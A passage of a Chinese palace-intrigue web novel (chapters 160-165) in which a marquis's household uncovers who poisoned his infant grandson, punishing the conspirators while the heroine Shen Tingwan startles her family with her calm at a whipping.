她现在是又气又慌,永国公老夫人不知道是不是沈听晚发现了什么? 可是不可能啊。 这件事她从始至终都没有出过手,金钗是赵金燕偷偷拿的,都也是侯府柳姨娘找人下的,就算是调查出来这些,也没人会查出来,她在这里头到底扮演着什么样的角色! 永国公老夫人想到这里,也觉得沈听晚一个小小的黄毛丫头,不可能短时间内调查出来那么多。 想到这里,她也不慌了,嘴角反而勾起一抹笑来:“翊王妃的心意,老身怎么会不领情,老身和定远侯老夫人也算是多年的姐妹了,她的孙子,便也是我的孙子啊,现在被奸人下了毒,老身也想看看,究竟是什么人,竟然这么心肠歹毒!” “老夫人……” 赵金燕猛然间转过头去,一脸不敢置信的看向永国公老夫人。 “你闭嘴,翊王妃让你留下来,便留下,哪来的那么多废话!” 一个黄毛丫头而已,看把这赵金燕吓得。 永国公老夫人想到这里,眼底不禁闪过一丝不悦来。 找这么一个蠢货,真是太失败了! 早知道赵金燕这么沉不住气,她就应该叫一个人做这件事了! 赵金燕被永国公老夫人这么突如其来的呵斥,弄得脑袋嗡嗡作响。 老夫人是什么都不怕了,那什么事情都没有经过她的手,就算是查下去,也很难查到永国公老夫人和给侯府小公子下毒又任何直接关系。 可她不一样啊,金钗可是她偷的,只要一调查,就根本无法摆脱干系,她能不担心吗? 就在这个时候,管家带着身后的家丁,几个家丁还押着一个面容刻薄刁钻的中年女人,从院外走进来。 管家走到定远侯的跟前,恭敬行礼道:“侯爷,方才在柳姨娘的院子里,找到躲藏起来正要从后门逃走的女人,正是柳姨娘的姑妈! 奴才见她行事鬼鬼祟祟,便叫人把她当即拿下了!” “你们放开我!”只见那中年女人被侯府的下人死死押着,浑身还不断的挣扎,满眼尽是惊慌失措:“你们凭什么抓我,我可是柳姨娘的姑妈!侯府就算是再势力再大,也不能说抓人就抓人啊!” “就是她!”这会儿婢女也开了口,看向柳姨娘姑妈的一眼,就瞬间认出来,这个人就是给她金钗的人! “就是她!是她说自己是沈夫人身边的人,是她给的起金钗,让我给小公子下毒的!” 婢女的反应十分激烈,眼中更是充满了仇恨。 要不是这个女人,她现在还好好的在侯府里当差,每个月拿着一笔丰厚的月例,足矣养活她母亲一家的生存了。 可现在呢,不仅事情暴露,她再也没可能在侯府当差了,甚至可能连性命都无法保住。 柳姨娘的姑妈听到婢女的指控,给人感觉头皮一紧,哆哆嗦嗦的抖动着:“你这个贱婢,胡说八道什么,我一直待在柳姨娘的院子里,从来没出来过,什么时候见过你啊,还有你口中的什么沈夫人,我压根不认识!” 可惜,她的话,在场的众人是一个字也不会相信。 下人们端来了热茶,定远侯叫人搬来了两张椅子,请沈听晚和沈夫人落座,独独像是完全忽视了永国公老夫人和赵金燕的存在一般。 赵金燕此时急得满头是汗,却不敢抬手去擦,站在永国公老夫人的身后,一个劲儿的把头底下,生怕被什么人看到似的。 第160章 打到说实话为止! 定远侯看到被下人押着的柳姨娘姑妈,眼中迸发出一抹杀意。 这就是想要还他亲孙孙命的贱人! 抬眼看向管家,冷声命道:“给我打,打到她肯说实话为止!” 他懒得和这种人多说半句话,作为曾经在战场上杀伐果断的侯爷,知道想要从一个人嘴里撬出自己想听的话,我只有一个办法,最有效! 人嘛,只有疼在自己身上,才会害怕! “你……你是侯爷也不能无缘无故的打人啊,别忘了咱们可是亲家啊,侯爷,您要是在府上众人下人责打我,传出去是要丢侯府颜面的啊!”柳姨娘姑母一听就急了,面色惨白,不停的开口想要用侯府颜面逼侯爷一把。 然而,定远侯要是真的能被一个妇人逼迫,那他就当不上这定远侯了! 只见他冷冷扫过去一个眼神,眸中尽是平静,可却给人一种冷静发疯的感觉,瞬间把柳姨娘姑母吓住了。 “还有,这毒是她下的,柳姨娘不可能不知道,你把她也给本候带来!” 定远侯实在懒得搭理这柳姨娘的姑母,但却也不傻,这人毕竟不是侯府的人,给自己孙子下毒的事情,她绝对不是幕后之人。 “是,奴才这就去!”管家利落的开口,随即转身又带着人又去了柳姨娘的院子。 与此同时,下人们也拿来了刑拘,一一排列在柳姨娘姑母的眼前。 府上又专门审讯的下人,只见他走到整整齐齐摆列一排的刑具跟前,拿起一把带着倒刺的鞭子,仔细端详片刻,下一瞬便毫无征兆的扬起手把鞭子朝着柳姨娘姑母身上一甩。 “啊!” 带着倒刺的鞭子,瞬间沾了血,柳姨娘姑母的身上,也以肉眼可见的速度呈现出一条血淋淋的伤痕。 “这一鞭子,是为了小公子而打的!”下人冷声地说,语气间毫无温度可言,满眼更是没有半分对女子的怜香惜玉。 “好了,现在可要正式开始了。”下人又语气轻佻的说。 意思再明显不过了,接下来才是那柳姨娘姑母的噩梦! 沈听晚坐在椅子上,从始至终也没在开口说什么,看着下人审讯,眼底也有一丝不忍,反倒是对那带着倒刺的鞭子充满了兴趣。 这要是她也做上一把,然后时时带在身上,看到不顺眼的人,她是不是能拿这辫子狠狠抽那人一顿了? 沈听晚心里想着,觉得越想越想要,纠结这等下她要是向定远侯讨要,他不会不给吧? 君翊像是看穿了沈听晚的心思似的,脸上满是无奈之色,转头过去,凑到沈听晚的耳边小声警告着:“被打这鞭子的注意,你要是喜欢,回府之后,叫人给你做一把更精巧的。” 沈听晚回过神来,吓了一跳,猛然间朝着君翊的方向看过去。 心里头纳闷。 这家伙怕不是自己肚子里的蛔虫吧,蛔虫也不可能做到,怎么了解她的心思啊。 君翊宠溺的勾起嘴角:“这把鞭子沾了血,你不嫌脏?” 也是…… 沈听晚听到君翊的话,也瞬间歇了心思。 好吧,沾了血的鞭子,她不要! 坐在离君翊最近的定远侯虽然视线没看过来,但却把两人的谈话听的一清二楚,嘴角不禁狠狠地抽了抽。 这翊王妃,还真不是什么一般人啊! 如果换做寻常姑娘,看到这一血淋淋的场面,早就吓得躲进自己夫君的怀里了,可这翊王妃倒好,竟然对这种事这么感兴趣! 再看看那沈夫人,见着眼前这这一幕,也是满眼不忍直视的别过头去。 定远侯想了一下,随即招呼管家到自己身边来,低声在管家耳边说了两句。 管家看了沈夫人一眼,立马点头,随后快步走出后院的大门。 而这时,更加抓马的事情出现了! 只见沈听晚一边看着下人审讯,一边喝着茶,茶水喝够了,便抓起桌子上的一把瓜子磕了起来,然后就看见她…… “哎,你那个地方抽的不对,你刚才那一鞭子应该打在手臂两侧,那个地方最怕疼,而且还不致命。” 沈听晚的此话一出,在场之人纷纷看向她,震惊的眼神最多。 这翊王妃不仅不害怕,这会儿竟然还亲自指导上了?! 定远侯眼底迸发出一丝光亮来。 这翊王妃,还真是个秒人啊! 他轻轻咳嗽两声,随即靠近君翊小声开口:“翊王殿下娶得个好王妃。” 君翊此时也被沈听晚气笑了,听到定远侯的话,不禁深吸一口气:“王妃年纪小,不懂事,侯爷见谅。” “哈哈哈,哪里哪里,我看翊王妃也是个嫉恶如仇的性子,甚好甚好啊!” 定远侯是喜欢沈听晚这种性子的,在外面不软弱,不骄不躁,而且还满脑袋机智,还有一丝嫉恶如仇的女侠风范呢。 而有人欣赏,自然就有人震惊。 只见此时,沈夫人一脸不敢置信的看向自己的女儿,满眼尽是被沈听晚的话惊得呆愣的神色。 这…… 她的女儿,什么时候变成这样了? 从前府上就是杀一只鸡,都能叫自己女儿吓得连做好几天的噩梦,可现在,看着这血淋淋的一幕,不仅不害怕,还开始教训上人家来了? 沈夫人缓缓闭上眼睛,心里不停的安慰着自己,一定是她刚才听错了…… “夫人,晚晚!” “母亲,小妹!” 这是,院外传开两道异口同声焦急的声音响起。 是沈将军和沈时修。 沈夫人下意识睁开眼看过去,在看到自己的丈夫和儿子同时出现在自己眼前,眼眶一下自己就红了。 “夫君,儿子!” 沈夫人从椅子上站起来,便朝着沈将军的方向快步走去。 沈将军看到自己的夫人,也是一脸心痛的迎上去抱住沈夫人:“夫人,叫你受惊了……” “混蛋,你怎么才来呀?” 她刚才都要被吓死了! 沈夫人虽然是将军夫人,但却也从来没经历过这种被人诬陷的事情,如果不是有自己女儿在,她都不知道自己应该怎么办才好了。 可能没有沈听晚,沈夫人现在估计都要被抓去大牢里受刑了。 第161章 这还是他妹妹吗? “母亲,妹妹,你们怎么样,没受伤吧?” 沈时修也一脸焦急的站在自己父母身边,满眼担忧的开口问道。 他们是男子,无法和自己母亲和小妹一起入席,只能在前厅,后来他们听说后院出了事儿,很是担心沈夫人和沈听晚,想要过来看看把沈夫人和沈听晚接回家,却被下人给拦下来了。 他们在前厅那叫一个百感交集啊,也不知道后院发生了什么事,就听说沈夫人给侯府小公子下了毒,其他一概不知。 沈将军急得都叫要回家调府兵来,把侯府的大门给踏破了! 看到不远处的君翊,坐在自己妹妹的边上,沈时修甚至有些懊恼,当时他就应该跟着自己妹夫一同闯进来的。 这样母亲和妹妹身边,最其他也有他保护啊。 不过有翊王在,沈时修还是放心了不少,最起码,翊王殿下会保护好自己妹妹和母亲的安危。 这时候,定远侯也从椅子上起身,走到沈将军的面前,脸上带着歉意:“实在抱歉,事发突然,是本候下令将沈将军和沈公子拦在前厅的,事关本候孙子的安危,还望沈将军沈公子能够见谅。” 沈将军一听见这话,脸色也沉了下去,将沈夫人护在怀里,严肃的开口:“侯爷,本将军也知道,侯爷担心自己孙子的安危,可我夫人向来心善,胆子小,怎么可能做的出给人下毒之事来呢!” “是是是。”定远侯陪着笑说:“都是一场误会,沈夫人是被人诬陷的,不过沈将军放心,本侯定会将此事调查清楚,还沈夫人一个公道。” 见着定远侯都这样说了,沈将军还能再说些什么? 毕竟是盟友,有些话要是说的太深了些,对沈家和侯府的关系也不利。 只不过…… 沈将军看着眼前这血淋淋地场面,再加上自己夫人一脸受了惊吓的表情,又顿时心疼起来,抬手指向不远处:“侯爷再此私自用刑也就罢了,怎么能让我夫人和女儿看着呢,她们胆子最是小了,你这么做……” 沈将军不悦的开口质问,可话还没说完,声音变断时戛然而止,因为他看到此时自己的女儿,正坐在翊王的身边,一脸津津有味的嗑着瓜子,时不时还和翊王议论两句…… 啊这…… 他女儿竟然不害怕? 沈时修也是满脸的不敢置信,震惊的看着沈听晚的方向,嘴巴张的那叫一个大啊。 这还是他的妹妹了吗? 此时的沈听晚还根本没注意到这边的情况,也丝毫没发现,自己的父亲母亲和兄长,正用着一脸震惊到无法言说的表情,呆愣愣的看着自己呢。 场内陷入一片尴尬。 定远侯站在沈家人面前,心里也有些想笑。 这就是沈将军口中说的,自己女儿胆小吗? 他可是一点都没看出来呢…… 沈听晚看的入神,丝毫不知道身后发生了什么,但君翊是个警觉性很强的,在沈将军和沈时修进院的那一刻,就发现了。 见着身边小姑娘目不转睛的专治样子,是不是点播两句,想了一下,靠近沈听晚,小声开口:“晚晚,你要不要注意一下,岳父和大哥可都看着你呢?” 此话一出,沈听晚的身体瞬间变得一僵。 她父亲和兄长也来了? 还看到她刚才那一幕了? 沈听晚反应过来,缓缓转过头去,看到身后几个人的眼神,直勾勾的盯着自己,沈听晚瞬间两眼一黑。 完了。 她刚才看的太入神了,都忘了自己母亲还在身边呢。 现在更是好了,刚才她的那些举动,被沈家人真真切切的看到了。 她强撑着站起身,把手上还没吃完的瓜子往桌子上一扔。 “呵呵,父亲,兄长,你们也来了哈……”沈听晚礼貌而不失微笑的开口。 沈将军和自己儿子两人对视一眼,又同时看向沈听晚,点点头:“嗯……” 他们还能说些什么呢? 刚才还提这小丫头说话,给她抱不平,担心她害怕呢。 可现在,沈将军和沈时修才发现,自己这分明是在定远侯的面前,啪啪打自己的脸啊! 见着沈听晚和自己夫人都安然无恙,沈将军的火气也消了几分,有隐隐有几分尴尬:“侯爷,既然要还我夫人清白,那就继续吧。” 他现在就想快点知道,到底是谁要诬陷自己的夫人,找到那个人,他定不会放过! “咳咳,好。”定远侯也点点头,吩咐着底下的人继续。 而那柳姨娘的表姑母也是个不经打的,就在用刑下人再次准备扬起鞭子打在她身上的时候,就彻底破防了。 “我说!” 疼! 实在是太疼了。 用刑的下人手上的动作戛然而止,眼底闪过一丝轻蔑与不屑。 这就支撑不住了。 也可惜了他拿过来的那么多套刑具了,还没有一一试过呢。 “说吧,嘴里头要是有一句假话,你应该知道后果。” 柳姨娘表姑母吓得连连点头,尽是血淋淋鞭痕的脸上,此时充满了狼狈与惊吓。 “是我侄女,是她让我怎么做的!还有上一次,夫人无故小产,也是她让我在外面送进来有损母体的汤药!” 表姑母是真的害怕了,也管不了自己侄女的死活,现在只想着一心保全自己,不想再受这皮肉之苦,直接把所有的事像倒豆子似的全盘托出。 刚被管家带进来院子的柳姨娘,正好将自己表姑母的话听了个全程,只觉得眼前瞬间黑了。 “表姑母,你胡说八道什么呢!” 柳姨娘表姑母也没想到,自己的侄女竟然这个时候出现在眼前,脸上有些心虚的开口:“好侄女啊,我可没胡说,是你说的,自打进了侯府,公子就没去过你的院,反而是主母接连有孕在身,让你嫉妒,才叫我拿药进来的啊。” 柳姨娘原本还不忍看到自己表姑母受刑,可现在听到这话,心里的那点心疼瞬间烟消云散。 “你!你这是想要置我于死地呀!明明是你说让我生下一个孩子,在侯府好立足,然后帮衬你们一家的!” 第162章 送去庄子 “哎哎哎,这话我可从来没说过啊,是嫁出去的姑娘就是泼出去的水,日子过得好坏都和我嫩没有任何关系。 何况你不过是一个姨娘而已,在侯府人微言轻的能帮上我们什么啊! 我也就是心善,看着你常常回家诉苦,耳根子软了,才帮你一把的,想不到你竟然倒打一耙!”表姑母也瞬间怒了。 这些年,她帮自己侄女做的那些腌臜事还不够多吗,这个白眼狼,不仅不领情也就罢了,还要把自己拖下水去。 是。 她承认,帮助侄女在侯府立足,她也是有私心的,但最大的好处,还不是让她这侄女得了去吗! 眼前的众人看着这狗咬狗的一幕,也是不禁心中一阵恶寒。 好一对姑侄啊,有利趋之,对自己没有好处,就开始互相甩锅了! “够了!”定远侯此时是半点也看不下去了。 他现在心里面,就只剩下了那弄弄的杀意。 他怎么也没想到,自己的第一个孙子无法降生这个世上,竟然也是这对贱人干的。 全家人都以为是因为谢夫人身子亏虚,所以才倒是孩子还没足月就小产了呢。 却不想,这一切竟然都是一场阴谋! 定远侯的这一声怒吼,吓得原本还互相攀咬的姑侄两人瞬间噤了声。 柳姨娘的脸色更是变得惨白一片却一句话也说不出来。 公爹的脾气她是清楚的,既然知道了所有事情,她也很难有活路了。 当年,她费尽心思进了侯府的门,那时候,侯爷就是第一个站出来不许她进门的。 侯府规矩森严,男人只能有一个妻子,不能有妾室。 要不是她当年在酒楼里无意间看到被人灌醉的谢公子,起了心思,假装让谢公子轻薄去侯府讨要公道,她这辈子都进不了侯府的大门。 可嫁进来之后呢? 谢长林从未睁眼看过她一眼,她就仿佛被人放养在了侯府一般,谢长林也在没有去过她的院子。 可这不是她想要的啊。 她不求谢夫人的这个名分,可却想得到谢长林对她的一点宠爱。 哪怕只有那么一点点,一点点也好啊。 都没有,有的只是谢长林对她的厌恶至极。 后来柳姨娘才知道,自己之所以进的聊侯府的门,是因为侯府不想让谢长林背负轻薄女子的骂名。 给她姨娘的身份,也不过是要堵住全京城那些人的悠悠众口! 可是她不甘心啊。 她不甘心自己只能被困在侯府里寥寥此生,在谢夫人生下第一个孩子的时候,她下了杀心。 她要和谢长林生下第一个孩子,哪怕是庶子,那也要占得个庶长子的名位 所以她想要让谢夫人一尸两命,她找机会回了家向表姑母诉苦,因为她知道,表姑母最是喜欢占便宜。 于是她告诉表姑母,只要自己生下和谢长林的孩子,她的地位就会在侯府水涨船高,到时候,母凭子贵,她的风头盖过了谢夫人,往后整个侯府就由她做主了! 她的表姑母也是个蠢笨的,自己这样说,她还真的就信了。 表姑母成了她杀死谢夫人手上的一把刀,可谢夫人实在是命大,她下了那么大计量的药,不然都没能毒死她。 不过好在,那个孽种终究还是没有保住。 这对柳姨娘来说,算是一件大好事,谢夫人小产那一晚,她高兴的在自己院子里喝了一大壶的好酒来庆祝。 她以为,只要谢夫人小产,谢长林肯定会对她心生厌恶,到时候自己的机会岂不是就来了! 她只要把自己打扮的漂漂亮亮的,就坐等着谢长林来宠幸她了。 可是她换上新衣服,给自己上了一遍又一遍的妆,等了一天一天又一天,终究还是没能等来谢长林的影子,反而在两年之后,又等来了谢夫人怀有身孕的消息。 她气的要发疯,想要故技重施,把这个孩子也杀了,可谢夫人怀孕的这段期间,整个侯府严防死守,没有一丁点下手的机会。 直到那孩子降生,都是被侯府上下精心护着长到现在。 周岁宴这一天,她知道自己的机会来了,她重新找到表姑母,让她以进府看望她为由,给那个小孽障下毒。 她得手了,那个小孽障真的中毒了! 可却没想到,还没让她高兴多久,表姑母就被带走了,紧接着,管家也来那她带到了后院…… 定远侯想着自己那个未能出世的孙子,心像是被人死死揪住一样疼:“事到如今,你还有什么话可说?” 柳姨娘面无表情,没有开口在言。 她知道,自己无论说什么,也改变不了什么。 “来人,去把这件事告诉给大公子,这个女人如何处置,就听公子和夫人的吧。” 定远侯现在,根本不想再看到柳姨娘一眼,他怕自己看过去,会忍不住冲动动手把这个蛇蝎心肠的贱人给大卸八块了 很快,后院传来消息,谢长林和谢夫人担心小公子安危,要守着小公子身边才能安心。 至于这个柳姨娘,是死是活,全凭定远侯一句话。 这是谢长林的原话,他本就厌恶这个女人,当初趁着他醉的不省人事,趁人之危,非要嫁给他。 可谢长林虽然醉着,却也清楚,他就算是醉酒,也不会背叛同他青梅竹马的妻子。 那她抬进府,是母亲的意思,谢长林本就想要当她不存在,只要她安安分分守己,侯府不会欠缺她一口吃的。 可是,这个女人,千不该万不该,不该还他心头最爱的妻子,还有他的孩子。 这下子,谢长林心里仅存的那一点容忍也终被消磨殆尽。 因为柳氏只是一个姨娘的身份,压根就必须要些什么休书,就算是直接赶出府去,也没人能说出来什么。 所以干脆,谢长林就直接不打算出面了。 柳姨娘此时却是惨白着一张脸,整个人身体也软下来瘫倒在地上。 她知道,自己彻底的完了。 谋害主母和嫡子,虽然未遂,也够她再牢狱之中度过此生了。 “来人!”定远侯听到自己儿子那边传来的话,冷声地道:“柳氏残害主母嫡子,实在罪大恶极,但念及好歹服侍过公子一场,将她送去庄子,找人专门看守,从今往后,不允许她出庄子一步!” 第163章 这个理由,让人无法反驳 “另外。”定远侯的语气顿住一下,又阴森森的开口:“当年她给夫人下毒毒,还有今日给小公子下的毒,每日也给她熬上两碗,盯着她喝下去!” 定远侯本身就是武将出身,一身的杀气正浓,而且说出的话,也叫柳夫人浑身像是掉进了寒潭里一般彻骨寒凉。 她猛地抬起头:“公公,不能这么对我啊……” “闭嘴!”定远侯又是骇人的一喝。 他咬牙切齿:“什么时候,一个小小的妾室,也能算得上是本候的儿媳妇了!” 这样的儿媳妇,他可不认! 柳姨娘被吓得浑身发抖,脸色也惨白的毫无血色。 “候……侯爷,我就算是再犯错,那也是要交给官府衙门让我去坐牢啊,你不能那我关在庄子里,还有那些毒药,那些毒是要死人的啊!”柳姨娘真的害怕了,她以为自己最坏的结果也不过是坐牢而已,她已经接受了,哪怕是坐牢,她也不愿意在待在侯府做一个有名无分而且还被人嘲笑的妾,可却没想到,定远侯竟然会这么狠。 “把你送去大牢,岂不是太便宜你了,你也知道那些毒药可以致命了,那好,本候在给你派一个大夫去,每日等你毒发要死的时候,先让他给你灌下去解药,保证叫你不会那么轻易的死去。”定远侯二话不说,直接就下令。 人死了怎么行呢? 他儿媳妇和孙子的苦,那岂不是都耐受了。 他要让这个毒妇,自食恶果,整日喝下自己亲自种下的毒果。 他要让柳氏这辈子都生不如死的后延残喘! “带下去!” “等等。” 就在定远侯开口命令府上的家丁,准备把人带下去的时候,沈听晚却在这时候立马开口。 只见沈听晚缓缓站起身来,看向定远侯那满眼疑惑的眼神,缓缓开口:“侯爷,说到底,还没问出来,究竟是谁偷了我母亲的金钗,是谁要把给小公子下毒的罪名扣在我母亲身上呢。” “翊王妃,这是侯府的家务事,你就算是仗着有王爷给你撑腰,你也不能在侯府如此放肆吧!”永国公老夫人忍不住开口喝道。 她在这儿站了太长时间了,时间长的就好像被所有人都遗忘了一般。 刚才的一切,她都看在眼里,饶是她这个黄土都要埋半截的老婆子,见了这血腥地场面,都被吓的整个心都揪了起来。 沈听晚不是个善的,听见永国公老夫人的话,直接就讽刺的回怼过去:“夫人也知道这是侯府的家务事,那为何方才对我母亲揪着不放呢? 现在反过来说本王妃掺和侯府的事,究竟是替侯府打抱不平,还是做贼心虚啊?” “你!” “闭嘴吧!”定远侯被永国公老夫人的话说的头疼,眼神若有似无的朝着她的方向扫过去,又是给永国公老夫人吓的立马噤了声。 永国公老夫人的身份虽然在京城贵重,但在定远侯的跟前,也不敢多说什么。 这也是为什么,当时永国公老夫人原本想要尽早离开的,可是永宁侯只是说了一句让她留下的话,她就只能留下了的原因。 “翊王妃说的是,是本候太过情急了,还未还沈夫人一个公道。”永宁侯现在是彻底的对眼前这个小丫头服气了,敢言敢语,是什么事都糊弄不过她的。 “那便多谢侯爷了。”沈听晚淡淡笑着开口。 侯爷微微点头示意,转头又看向柳姨娘的表姑母:“你可见过沈夫人?” 表姑母忙不迭地摇头:“不……我没见过。”这个时候,她可不敢再说谎了。 定远侯又阴沉着脸质问:“那你为何对那下毒的婢女说自己是沈夫人的人?” 表姑母脸色一变,目光下意识看向柳姨娘的身上。 定远侯眉头紧紧皱了一下。 又和这个贱人有关系? 然而此时,柳姨娘却像是要破罐子破摔了般,跪坐在地上,双手支撑着,嘴里发出凄惨的冷笑来 “哈哈哈,你们想知道吗?哼,我就是不说!” 反正就是已经要死的人了,但如果这件事能给定远侯一家添堵,她也算是值了! “侯爷,既然她不肯说,也不必勉强了,把人交给本王,本王自会又办法让她心甘情愿的开口。”君翊手上轻捻着茶杯,语气平静但却给人一种彻骨的寒凉。 “这……”定远侯犹豫一瞬,随即轻轻挑了挑眉。 把人交出去也好,这个柳氏现在就是一个烫手的山芋,在他手上,就算是丢到庄子里,那也得找人看着。 但如果叫出去的话,不管翊王审出来什么,都和侯府没关系,而且翊王的性子,也绝对不会叫这柳氏好过的。 定远侯想到这里,便想要答应下来。 然而,这下子柳姨娘却慌了。 “我好歹是侯府的人,就算是犯了错也应该由侯府处置,你不能把我带走!” 她不能被翊王带走! 翊王是什么人啊,那可是嗜血杀神,在他的手上,她不仅不会死,甚至会比被灌下毒药终日被毒折磨还要生不如死! “晚晚是本王的王妃,沈夫人是本王的岳母,有人想要诬陷本王的岳母,你觉得本王带不走你吗?”君翊明晃晃的说到。 身为沈家的女婿,眼看着诬陷自己岳母的人就在眼前,他自当该为岳母讨个公道。 这个理由,令人无法反驳。 “再给你最后一次机会,说,还是不说。”君翊的脸上带着笑意却不达眼底,目光像是一把冷冽的刀刮在柳姨娘的身上,生疼。 柳姨娘对上君翊那双阴深深的目光,身体也不禁不受控制的颤抖起来。 “殿下饶命啊殿下,我说,我说!” 柳姨娘看向在永国公老夫人身边一直拼了命想要隐藏身形的赵金燕,抬手指过去:“是她,翊王殿下,侯爷,就是她,是她说可以帮我杀了那个孽……小公子,但是条件是让我把下毒一事诬陷在沈夫人身上的!” “其实我压根就没想怎么做,但是她说事成之后,不仅可以帮我杀了小公子和夫人,还给我一万两银票,让我以后在侯府可以有银子打点上下……” 第164章 欺人太甚了 柳姨娘也并没有说谎,她和沈家无冤无仇,自然想不到要讲这顶毒害侯府小公子的帽子扣在沈夫人的身上。 但是有一点那赵金燕说的没错,她需要一个可以让自己脱身的机会! 她要给自己找一个替罪羊,把所有事情都从自己的身上摘出去。 可是她千算万算,怎么也没有算到的是,沈夫人竟然这么轻而易举的从这件事情脱罪出去,更是她手上的下人愚不可及,沈夫人的身上有那么多之前的玩意儿,偏偏选择一个先皇后的御赐之物! 这下子,被柳氏当场指认的赵金燕突然间慌了神。 她怎么也没料到,事情竟然会发展到这样无法控制的地步。 只见赵金燕厉眼猛然地瞪向柳氏,气的脸都白了,可偏偏,她想要开口说话,却被不远处刚刚走进来的谢夫人厉声呵道:“好啊,你们一个两个都想要了我儿子的命啊!” 谢夫人刚刚从自己儿子的房中过来,自己儿子好没有从昏迷中醒过来,她就是想要过来看看,究竟是谁那么狠毒,竟然想要她儿子的性命。 可刚走到门口,就听到柳姨娘指认赵金燕的话,谢夫人恨不得现在就那些帮人千刀万剐了! 还有柳氏,为了这个女人,她和自己的丈夫产生嫌隙,可即便如此,她也从未真正怨恨过柳氏,将她安置在府中,也是从未亏待过她。 可是却没想到,她对柳氏的善良,最终竟然差点使得她儿子命丧黄泉。 想想她三年前的那个孩子,甚至都未来得及睁眼看看这个世上,就要着在她的肚子里。 而这一切,都是因为柳氏这个女人! 一想到这些,谢夫人的心都快要碎了 如果她早知道,叫这个柳氏进门,会让这个原本幸福的家,变成如今这样,她当初就算是以命相逼,在外头落得个闪付的骂名,也绝不让自己夫君纳她为妻! “老夫人!您可要护我啊!” 这时候,赵金燕也彻底的慌了神,看到身边站着的眉头紧锁一脸阴沉的永国公老夫人,想也不想便跪了下去祈求道。 永国公老夫人苍老浑浊的目光夹杂着狠厉透过来,赵金燕的脸也唰的一下白了。 “老夫人,是您……是您叫我这样做的啊,臣妇也是听了您的话,才做了这样的糊涂事的,您不能不帮我啊!” 赵金燕此时是后悔极了,她怎么也没想到,事情竟然会变成现在这样的地步。 心里更加暗恨,那个安若琳怎么就这么好的命,不光有一个巧言令色的女儿替她撑腰,就连沈将军,也是在赶来的第一时间将她护在身后。 现在好了,她不禁没陷害的了安若琳,让她被侯府送去大牢里头,反倒是把整个定远侯府都得罪个干净了! “赵金燕!你休的将此事往老身身上刮愣!老身什么时候让你去诬陷沈夫人了!” 永国公老夫人一脸怒气的等着赵金燕,心里是又惊又怒。 这个蠢女人,简直是一点都沉不住气! 赵金燕一抬起头来,就与永国公老夫人那双阴沉沉的目光在半空中相撞,心下更是慌了起来,赶忙开口:“老夫人救我啊,老夫人,此事……” 啪! 赵金燕的话还没说完,便见永国公老夫人一个抬手,用力将巴掌站在了赵金燕的一边脸颊上。 顷刻间,便见赵金燕的那半边脸颊瞬间肿的老高,然而对此,永国公老夫人似乎还不解恨,一个大步上前,整个人骑在了赵金燕的身上,满脸怨恨的一边撕扯着赵金燕的头发,一边怒骂:“你这个下贱坯子,方才诬陷沈夫人不成,现在竟然还敢来攀咬老身,看我今天不撕烂你的这张嘴的!” 永国公老夫人年轻时候就很出名,那跋扈不讲理的名声在京城都名扬在外的,现下赵金燕在这么多人的面前指认自己,永国公老夫人自然不可能那么轻易的绕过她的! 永国公老夫人虽然年纪大了,但是身上的那把力气可着实是不小,只见她骑在赵金燕的身上,身下的赵金燕竟然半点还手之力都没有。 一众人看着眼前的这一幕,也是觉得无比讽刺。 在沈听晚看来,这两人就是在狗咬狗,两个人身上都干净不了。 柳氏想要害侯府的小公子,结果这个心思不小心让永国公老夫人窥见了,永国公老夫人又借着赵金燕与沈夫人只见的敌对关系,指使赵金燕偷拿沈夫人的金钗,然后将小公子中毒一事嫁祸给沈夫人。 沈听晚想到这里,心里头都不禁一阵恶寒 都说三个女人能演一台戏,在她看来,这三个女人何止能演一台戏这么简单啊,她们这心肠也不是一般黑心肠能及的! 君翊也目光冷冽的开口:“将这两个人分开!” 定远侯已经被眼前这两个一老一小的女人扭打在一起的画面给惊呆了,听到君翊的声音传入耳中,这才回过神来:“还不快去!” 有了翊王和自家侯爷同时的命令,家丁们也立马反应过来,大步上前去把永国公老夫人从赵金燕的身上拉开 。 而此时,赵金燕看上去也是格外的有些惨,一张原本光滑的脸颊被永国公老夫人一连打了好几个巴掌,头发也被永国公老夫人拽下来好几把,能够看得见,赵金燕头顶上原本就不怎么浓密的发顶,又有些秃了,眼眶也变得青紫一片,那模样怎么看怎么滑稽狼狈。 可是,即便是这样,在场的众人也没有一个对赵金燕产生半点同情之心的。 永国公老夫人被家丁们拽开,站在那里,呼哧呼哧喘着怒气,看那架势,倒像是有些意犹未尽似的,要是这帮人不拦着,她今天绝对让赵金燕知道知道自己的厉害! “呸,你个贱人,看你还敢不敢诬陷到我身上来!” 永国公老夫人恶狠狠的啐了一口,眼中满是阴狠之色。 “永国公老夫人!”定远侯此事沉声一喝,眼中满是厌恶与阴沉:“这里是侯府,老夫人是不是欺人太甚了!” 第165章 这还是他可爱温婉的妹妹吗? 定远侯实在是气急了,他没想到永国公老夫人竟然敢在他的侯府如此刁蛮无理,当众撒泼也就罢了,还要行凶! 当即便气得想要去将京兆尹请来,把这个发了疯的永国公老夫人给拖走。 见着定远侯彻底的怒了,永国公老夫人这才消停下来不少,不过一双浑浊的眼,还是恶狠狠的直盯着赵金燕。 赵金燕被永国公老夫人这突然之间的猛地一击打的是抽手不及,整个人趴在地上怎么也站不起来。 “不好了,侯爷!小公子他……他不好了!” 就在这时,院子外头突然间传来一道焦急的嗓音响起,是侯府里的下人,只见他快步跑进来,随即脸色十分难看的跪在地上。 “什么?”定远侯也是满脸严肃,震惊到不敢置信:“胡说八道什么,小公子只是中毒,只要把毒解了就会没事的,怎么就不好了?” 谢夫人刚出来的时候,大夫还在为自己的儿子医治,这回儿听到下人的话,更是两眼一黑,受不住崩溃晕了过去。 场面一时之间变得混乱,沈听晚听着下人的话,眉头也不禁紧拧了起来。 她垂头看了一眼身边的君翊,刚想要开口说什么,便见君翊淡淡点了点头:“去吧。” 沈听晚的神色一顿,目光微闪了闪。 这家伙,她还没等说呢,君翊就知道自己想要做什么了。 不过对于君翊的反应,沈听晚还是挺高兴的,最起码,君翊没有因为担心给王府惹上麻烦就想要阻止他救人。 她朝着君翊微微点了点头,随即在众人都束手无策之际,他大步走到柳姨娘的跟前:“你给小公子究竟下了什么毒?” 柳姨娘跪坐在一边,当听到王府家丁前来报信,说那个小孽障要不行了的时候,心里是觉得十分解恨的。 面对沈听晚的质问,她冷嗤一声:“呵,我不知道!” 那样子,看上去别提有多欠揍了。 沈听晚微眯起一双眼来,眸中透着冷光,在定远侯还在急着要亲自进宫请太医前来一趟时,沈听晚转眼看向君翊:“王爷,可否请你帮我个忙?” “晚晚你说。”君翊勾起唇角,温柔的开口。 